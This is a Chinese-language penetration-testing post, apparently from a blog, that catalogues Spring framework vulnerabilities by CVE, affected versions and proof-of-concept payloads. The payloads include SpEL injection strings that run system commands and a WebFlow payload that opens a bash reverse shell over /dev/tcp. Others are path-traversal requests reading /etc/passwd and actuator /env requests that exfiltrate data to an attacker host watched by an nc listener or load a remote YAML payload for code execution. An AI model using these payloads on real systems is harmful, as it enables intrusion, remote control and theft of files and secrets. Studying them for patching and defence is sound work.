zoukankan      html  css  js  c++  java
  • 渗透测试

    0x01 背景介绍

    Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益,Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。


    Spring集合:

    1】Spring JDBC 
    
    2】Spring MVC Springmvc是Springframework里面的一个组件,用于javaee开发过程中的控制层。
    3】Spring Security --Spring Security OAuth Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service.资源服务 Resource Service.这次漏洞主要是由用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL表达式来远程执行命令
    4】Spring AOP
    5】Spring ORM
    6】Spring Test
    7】Spring WebFlow Spring WebFlow构建于Spring MVC之上,允许实现Web应用程序的“流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的field,构造恶意 SpEL表达式来远程执行命令。
    8】 Spring Data Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑,是一个用于简化数据库访问,并支持云服务的开源框架。
    8-1】Spring Data REST Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了恶意SpEL表达式,触发远程命令执行漏洞。
    8-2】Spring Data Commons Spring Data Commons是Spring Data Repository抽象。使用Spring Data Repository可以极大地减少数据访问层的代码。当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为SpEL表达式进行注入,攻击者可以注入恶意SpEL表达式以执行任意命令。 【9】spring messaging spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS, 用STOMP协议将数据组合成一个文本流,简单来说用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。 【10】 Spring Cloud Spring Cloud是一整套基于Spring Boot的微服务解决方案,为开发者提供了很多工具,用于快速构建分布式系统的一些通用模式。
    10-1】 Spring Cloud data flow
    10-2】 Spring Cloud Config Spring Cloud Config为分布式系统中的外部化配置提供服务器和客户端支持。 使用Config Server,您可以在所有环境中管理应用程序的外部属性。
    10-3】Spring Cloud Eureka SpringCloud封装了Netflix公司开发的Eureka模块来实现服务注册与发现,Eureka采用了C/S设计架构,Eureka Server作为服务注册功能的服务器,它是服务注册中心。而系统中的其他微服务,使用Eureka Client连接到Eureka Server并维持心跳连接,这样系统的维护人员就可以通过Eureka Server来监控系统中的各个微服务是否正常运行,SpringCloud的一些其他模块(例如Zuul)就可以通过Eureka Server来发现系统中的其他微服务,并执行相关的逻辑。 【11】Spring Boot Spring Boot 是 Spring 的一套快速配置脚手架,可以基于spring boot 快速开发单个微服务。
    11-1】Spring Boot actuator SpringBoot自带监控功能Actuator,可以帮助实现对程序内部运行情况监控。 【12】 Springframework Springframework 是sping 里面的一个开源框架,主要用户javaee的企业开发。 【13】 Spring integration
    14】Spring batch
    15】Spring hateoas
    16】Jolokia Jolokia是一个利用JSON通过Http实现JMX远程管理的开源项目,可在Spring Boot项目中使用。
    17】Logback Logback是由log4j创始人设计的另一个开源日志组件,用于取代log4j,官方网站: http://logback.qos.ch。 Logback默认配置文件: logback-test.xml(如果文件不存在,则查找文件logback.xml)

    WooYun-2016-226888 - Spring Boot框架存在SPEL表达式注入通用漏洞(未找到相关资料)

    Spring Boot + Spring cloud PID漏洞

    (1)
    GET /env HTTP/1.1 Host: xx.xx.xx.28:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 70 eureka.client.serviceUrl.defaultZone=http://${PID}@xx.xx.xx.226:6666/

    (2)nc监听
    nc -lvp 6666

    (3)refresh

    (4)base64解码获取属性
    echo xxx | base64 -d

    Spring Boot + Spring Cloud(spring Cloud env yaml利用)

    当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE

    • 利用范围

    Spring Boot 2.x 无法利用成功
    Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
    Spring Boot <= 1.4 可利用成功

    (1)
    https://github.com/artsploit/yaml-payload(修改重打包)

    (2)
    GET /env HTTP/1.1 Host: xx.xx.xx.xx:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 75 spring.cloud.bootstrap.location=http://xx.xx.xx.xx/yaml-payload.yaml

    (3)/refresh

    CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

    影响版本:spring-cloud-config-server < 2.2.2

    CVE-2020-5398

    Date:
    2020.1
    
    类型:
    RFD
    
    影响范围:
     
    versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16
    poc: $ curl
    'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -

    CVE-2019-11269 Spring Security OAuth 开放重定向

    影响版本:
    
    Spring Security OAuth 2.3至2.3.5
    Spring Security OAuth 2.2至2.2.4
    Spring Security OAuth 2.1至2.1.4
    Spring Security OAUth 2.0至2.0.17

    CVE-2020-5410

    影响版本
    • Spring Cloud Config: 2.2.0 to 2.2.2
    • Spring Cloud Config: 2.1.0 to 2.1.8
    
    http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111
    http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111/222

    Spring Cloud Config目录遍历漏洞(CVE-2019-3799)

    Date
    2019
    
    类型
    任意文件读取
    
    影响范围
    Spring Cloud Config 2.1.0 to 2.1.1
    Spring Cloud Config 2.0.0 to 2.0.3
    Spring Cloud Config 1.4.0 to 1.4.5
    
    poc
    /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

    CVE-2019-3778 Spring Security OAuth 开放重定向

    影响版本:
    Spring Security OAuth 2.3 to 2.3.4
    Spring Security OAuth 2.2 to 2.2.3
    Spring Security OAuth 2.1 to 2.1.3
    Spring Security OAuth 2.0 to 2.0.16

    CVE-2018-15758 spring-security-oauth2权限提升

    影响版本:
    Spring Security OAuth 2.3至2.3.3
    Spring Security OAuth 2.2至2.2.2
    Spring Security OAuth 2.1至2.1.2
    Spring Security OAuth 2.0到2.0.15

    CVE-2018-1273

    Date
    2018
    
    类型
    SpEL表达式注入漏洞
    
    影响范围
    Spring Data Commons  < 2.0.5
    
    poc
    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping xxx.dnslog.cn")]=xxx&password=123456&repeatedPassword=123456

    CVE-2018-1272

    (在Spring MVC或者WebFlux应用把客户端请求再转向另一台服务器的场景下,攻击者通过构造和污染Multipart类型请求,可能对另一台服务器实现权限提升攻击)

    Spring MVC 目录穿越漏洞(CVE-2018-1271)

    Date
    2018.4
    
    类型
    任意文件下载
    影响范围 Spring Framework
    5.0 to 5.0.4. Spring Framework 4.3 to 4.3.14 已不支持的旧版本仍然受影响 前置条件 Server运行于Windows系统上 要使用file协议打开资源文件目录 poc http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

    Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

    Date
    2018
    
    类型
    RCE
    影响范围 poc selector:
    new java.lang.ProcessBuilder("touch /tmp/sucesss").start()

    Spring-Integration-Zip 任意文件写入漏洞 Unsafe Unzip with spring-integration-zip(CVE-2018-1261)

    Date
    2018
    
    类型
    任意文件写入漏洞
    
    影响范围
    Spring-Integration-Zip Community Extension Project Version 1.0.0

    CVE-2018-1263 (Spring-Integration-Zip 任意文件写入漏洞  没找到相关案例,阿里先知有一篇分析)

    Spring-Security-OAuth2 远程代码执行漏洞(CVE-2018-1260)

    Date
    2018
    
    类型
    RCE
    影响范围 Spring Security Oauth
    2.3.x < Spring Security Oauth 2.3.3 Spring Security Oauth 2.2.x < Spring Security Oauth 2.2.2 Spring Security Oauth 2.1.x < Spring Security Oauth 2.1.2 Spring Security Oauth 2.0.x < Spring Security Oauth 2.0.15 以及不受支持的旧版本

    Spring Data 框架使用XMLBean产生XXE漏洞(CVE-2018-1259)

    Date
    2018
    
    类型
    XXE
    
    影响范围
    Spring Data Commons 1.13.x < Spring1.13.12
    Spring Data Commons 2.0.x <  Spring2.0.7
    Spring Data REST 2.6.x < Spring Data REST 2.6.12
    Spring Data REST 3.0.x < Spring Data REST 3.0.7
    
    poc

    CVE-2018-1258 Spring Security未经授权的访问(未找到公开poc)

    影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)

    Spring Messaging组件中存在漏洞可导致正则表达式拒绝服务攻击(CVE-2018-1257)

    Date
    2018
    
    类型
    DOS
    
    影响范围
    Spring5.0.x < Spring5.0.6
    Spring4.3.x < Spring4.3.17
    以及不在收支持的版本
    
    poc

    CVE-2017-8046

    Date
    2017
    
    类型
    SPEL表达式注入 影响范围

    Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本

    
    

    Spring Boot 2.0.0M4之前的版本

    
    

    Spring Data release trains Kay-RC3之前的版本


    poc
    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

    CVE-2017-8045 Spring Amqp中的远程代码执行

    影响版本:1.7.41.6.11和1.5.7之前的Spring AMQP版本

    Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

    Date
    2017
    
    类型
    RCE
    影响范围 poc _(
    new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)

    CVE-2016-6652 Spring Data JPA SQL盲注(未找到相关资料)

    影响版本:Spring Data JPA 1.10.21.9.4

    CNVD-2016-04742 Spring Boot框架SPEL表达式注入漏洞

    (1)影响版本:1.1.0-1.1.121.2.0-1.2.71.3.0

    (2)至少知道一个触发 springboot 默认错误页面的接口及参数名


    补丁:philwebb committed on 15 Dec 2015
    https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6

     

    Spring Security OAuth2.0 (CVE-2016-4977)

    Date
    2016
    
    类型
    EL表达式注入导致RCE
    
    影响范围
    Spring Security OAuth2.0
    前置条件
    登录
    
    poc:
    http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

    CVE-2016-2173 Spring AMQP中的远程代码执行

    影响版本:1.0.0至1.5.4

    Spring WebFlow 远程代码执行漏洞 CVE-2017-8039(https://www.chaosec.com/?p=754)

     

    CVE-2014-3578 Spring Framework 目录遍历漏洞 (未找到相关资料)

    影响版本:
    Spring Framework:
    - 3.0.4 to 3.2.11
    - 4.0.0 to 4.0.7
    - 4.1.0 to 4.1.1

    CVE-2014-0097 Spring Security认证绕过(未找到相关资料)

    影响版本:Spring Security 3.2.0至3.2.1和3.1.0至3.1.5

    CVE-2014-3527 Spring Security验证绕过漏洞(未找到相关资料)

    SpringSource Spring Security 3.1-3.2.4

    CVE-2013-7315 Spring Framework中的XML外部实体(未找到相关资料)

    影响版本:3.2.0至3.2.34.0.0.M1-4.0.0.M2(Spring MVC)

    CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注入

    影响版本:
    3.0.0至3.2.34.0.0.M1

     (https://blog.csdn.net/dingodingy/article/details/84495877) 

    CVE-2010-1622 Spring Frame class.classLoader类远程代码执行

    Date
    2010
    
    类型
    远程代码执行
    
    影响范围
    Spring Framework 3.0.0-3.0.2
    Spring Framwork 2.5.0-2.5.7

    (Spring Framework class.classLoader类远程代码执行 https://www.inbreak.net/archives/377)

    (未找到公开poc)

  • 相关阅读:
    EMC研究院电面记
    被百度放了鸽子
    最长严格递增子序列算法
    括号配对问题
    RTP 协议
    C++ 纯虚函数, 记上一笔!
    一年又一年
    direct3d Colorkey 应用.
    CEGUI 中文输入与显示
    被遗忘的C,记录一笔
  • 原文地址:https://www.cnblogs.com/AtesetEnginner/p/12590577.html
Copyright © 2011-2022 走看看